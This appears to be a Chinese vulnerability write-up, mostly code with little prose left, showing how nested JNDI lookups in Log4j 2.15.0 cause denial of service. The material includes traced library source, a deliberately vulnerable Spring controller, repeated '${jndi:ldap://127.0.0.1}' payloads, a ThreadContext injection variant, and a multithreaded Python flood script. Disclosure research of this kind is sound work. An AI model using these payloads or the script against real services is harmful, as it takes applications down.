得到了官方的认可和致谢
<appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console></appenders>
CVE
描述的漏洞与我发现的有什么相同和不同之处if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null;}而allowedHosts中一定包含有localhost和127.0.0.1// 拿到本地IPprivate static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();...addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);return new JndiManager(...,allowedHosts,...);
if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null;}long startTime = System.currentTimeMillis();Attributes attributes = null;try { // 阻塞方法 attributes = this.context.getAttributes(name);}catch (Exception ignored){}long endTime = System.currentTimeMillis();System.out.println(endTime-startTime);
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException { LdapURL var2 = new LdapURL(var0); // 跟入 LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl()); String var4 = var2.getDN() != null ? var2.getDN() : ""; CompositeName var5 = new CompositeName(); if (!"".equals(var4)) { var5.add(var4); } return new ResolveResult(var3, var5);}
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException { ... try { this.connect(false); } ...}
// 从Attributes里获取属性// 那么应该调用了getAttributes之类的阻塞方法if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4);}if (var3 == null) { // 类似的代码 var3 = new LdapCtx(this, this.fullyQualifiedName(var1));}
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
<configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console> </appenders> <loggers> <root level="error"> <appender-ref ref="CONSOLE-APPENDER"/> </root> </loggers></configuration>
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter</artifactId> <exclusions> <exclusion> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-logging</artifactId> </exclusion> </exclusions></dependency><dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version></dependency><dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version></dependency><dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId></dependency>
@Controllerpublic class TestController { private static final Logger logger = LogManager.getLogger(TestController.class); @RequestMapping("/test") @ResponseBody public String test(String message) { try { // Base64解码 String data = new String(Base64.getDecoder().decode(message)); logger.error("message:" + data); } catch (Exception e) { return e.getMessage(); } return ""; }}
import base64import threadingimport requests# 每一个Payload将会导致阻塞20秒payload = "${jndi:ldap://127.0.0.1}" * 10payload = base64.b64encode(bytes(payload, encoding="utf-8"))url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")def work(): requests.get(url)if __name__ == '__main__': threadList = [] # 多线程请求 for i in range(1000): t = threading.Thread(target=work) threadList.append(t) t.start() for thread in threadList: thread.join()
<Appenders> <Console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern> </PatternLayout> </Console></Appenders>
public static void main(String[] args) throws Exception{ ThreadContext.put("loginId","1}"); logger.error("xxx");}
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");logger.error("xxx");
<Appenders> <Console name="STDOUT" target="SYSTEM_OUT"> <PatternLayout> <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern> </PatternLayout> </Console></Appenders>
@Overridepublic String lookup(final String key) { return currentContextData().getValue(key);}@Overridepublic String lookup(final LogEvent event, final String key) { return event.getContextData().getValue(key);}
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // 取出了${jndi:ldap://127.0.0.1} return resolver.lookup(event, variableName);}
不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢
@Overridepublic LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn, final StackTraceElement location, final Level level, final Message message, final List<Property> properties, final Throwable t) { if (result == null || result.reserved) { final boolean initThreadLocal = result == null; // 这个类中包含了空的context result = new MutableLogEvent(); ... } ... // 真正设置context属性 result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData())); result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack()); ... return result;}跟入ThreadContextDataInjector.injectContextData方法@Overridepublic StringMap injectContextData(final List<Property> props, final StringMap ignore) { if (providers.size() == 1 && (props == null || props.isEmpty())) { // 跟入supplyStringMap return providers.get(0).supplyStringMap(); } ...}进入ThreadContextDataProvider.supplyStringMap方法@Overridepublic StringMap supplyStringMap() { return ThreadContext.getThreadContextMap().getReadOnlyContextData();}
@RequestMapping("/test")@ResponseBodypublic String test(String userId) { try { String id = new String(Base64.getDecoder().decode(userId)); // 记录用户登录ID ThreadContext.put("loginId", id); // 记录该用户已登录 logger.info("user login"); // 其他业务逻辑 // ... } catch (Exception e) { return e.getMessage(); } return "";}
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLj
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")